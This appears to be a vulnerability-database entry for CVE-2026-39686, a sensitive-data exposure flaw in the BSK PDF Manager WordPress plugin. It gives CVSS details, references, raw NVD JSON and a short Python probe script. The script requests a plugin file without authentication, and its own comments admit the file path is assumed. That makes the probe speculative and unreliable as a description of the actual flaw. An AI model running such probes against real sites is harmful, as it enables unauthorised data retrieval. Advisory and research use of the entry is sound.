CVE-2026-39686

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in bannersky BSK PDF Manager bsk-pdf-manager allows Retrieve Embedded Sensitive Data.This issue affects BSK PDF Manager: from n/a through <= 3.7.2.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

BSK PDF Manager <= 3.7.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-39686
import requests

def check_vulnerability(target_url):
    # The specific endpoint might vary based on the plugin structure
    # Assuming a direct access to a data endpoint or file
    vulnerable_endpoint = "/wp-content/plugins/bsk-pdf-manager/data/sensitive_data.json"
    
    full_url = f"{target_url}{vulnerable_endpoint}"
    
    try:
        # Send GET request without authentication
        response = requests.get(full_url, timeout=10)
        
        if response.status_code == 200:
            # Check if response contains expected sensitive patterns
            print(f"[+] Potential vulnerability detected!")
            print(f"[+] Status Code: {response.status_code}")
            print(f"[+] Response Length: {len(response.text)}")
            print(f"[+] Content Preview: {response.text[:200]}")
        else:
            print(f"[-] Target does not appear vulnerable or endpoint is patched.")
            print(f"[-] Status Code: {response.status_code}")
            
    except Exception as e:
        print(f"[!] Error occurred: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39686
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39686
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39686/
[4] VulDB https://vuldb.com/cve/CVE-2026-39686
[5] https://patchstack.com/database/Wordpress/Plugin/bsk-pdf-manager/vulnerability/wordpress-bsk-pdf-manager-plugin-3-7-2-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39686", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:40.530", "lastModified": "2026-04-29T10:17:40.390", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in bannersky BSK PDF Manager bsk-pdf-manager allows Retrieve Embedded Sensitive Data.This issue affects BSK PDF Manager: from n/a through <= 3.7.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/bsk-pdf-manager/vulnerability/wordpress-bsk-pdf-manager-plugin-3-7-2-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}